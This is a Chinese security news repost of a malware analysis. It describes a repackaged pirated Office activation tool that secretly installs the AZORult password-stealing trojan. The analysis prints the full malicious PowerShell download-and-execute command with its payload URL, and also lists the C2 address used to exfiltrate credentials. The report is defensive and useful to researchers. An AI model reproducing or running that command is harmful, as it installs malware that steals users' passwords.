安基网 首页 资讯 安全报 查看内容

警惕Office盗版激活工具中隐藏的远程控制木马AZORult

2019-4-15 00:12| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 腾讯御见威胁情报中心检测到一款Office激活工具被捆绑传播窃取远程木马AZORult,该Office激活工具实际经过二次打包,黑客将恶意代码和正常的激活程序打包在资源文件中,当用户运行时,除了激活程序会运行,内置的Powershell恶意代码也会运行。该盗版激活工具会在后台下载远程控制木马AZORult运行, ...

概述

腾讯御见威胁情报中心检测到一款Office激活工具被捆绑传播窃取远程木马AZORult,该Office激活工具实际经过二次打包,黑客将恶意代码和正常的激活程序打包在资源文件中,当用户运行时,除了激活程序会运行,内置的Powershell恶意代码也会运行。

该盗版激活工具会在后台下载远程控制木马AZORult运行,该木马会搜集敏感信息上传并对电脑进行远程控制。

黑客将Powershell脚本代码(lnk文件)和真正的激活工具程序同时藏在资源文件中,生成新的“激活工具”,目标用户运行被重新打包的激活程序时,执行恶意脚本代码的lnk文件被释放运行。

资源文件

资源文件中包含的lnk文件信息

激活工具运行时从资源文件中释放lnk文件:

Lnk文件执行恶意Powershell脚本代码:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Exec bypass -windo 1 $wM=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(‘aWV4’));sal t $wM;$nXR=((New-Object Net.WebClient)).DownloadString(‘http://boundertime.ru/pps.ps1’);t $nXR

Lnk指向的代码下载执行Powershell脚本

hxxp://timebound.ug/pps.ps1

(或http://boundertime.ru/pps.ps1)

Powershell脚本运行时,通过FromBase64String解码出PE文件二进制数据,并写入文件C:\Users\Public\\xxxx.exe,然后将其作为参数传给Process.start

启动程序

远程控制木马AZORult

下载的C:\Users\Public\\xxxx.exe为远程控制木马AZORult,会搜集浏览器、邮箱、Skype、Telegram、Steam等软件的登录密码上传至C2地址,并接收执行返回的指令,对目标电脑进行远程控制。

发送搜集的数据至C2地址hxxp://ghjgfjhjgf.ru/index.php

安全建议

1、使用正版软件,尽量不要使用激活、破解工具。

2、不要运行来历不明的程序。

3、使用正规杀毒软件拦截该类木马攻击。



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6679562587006304781/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部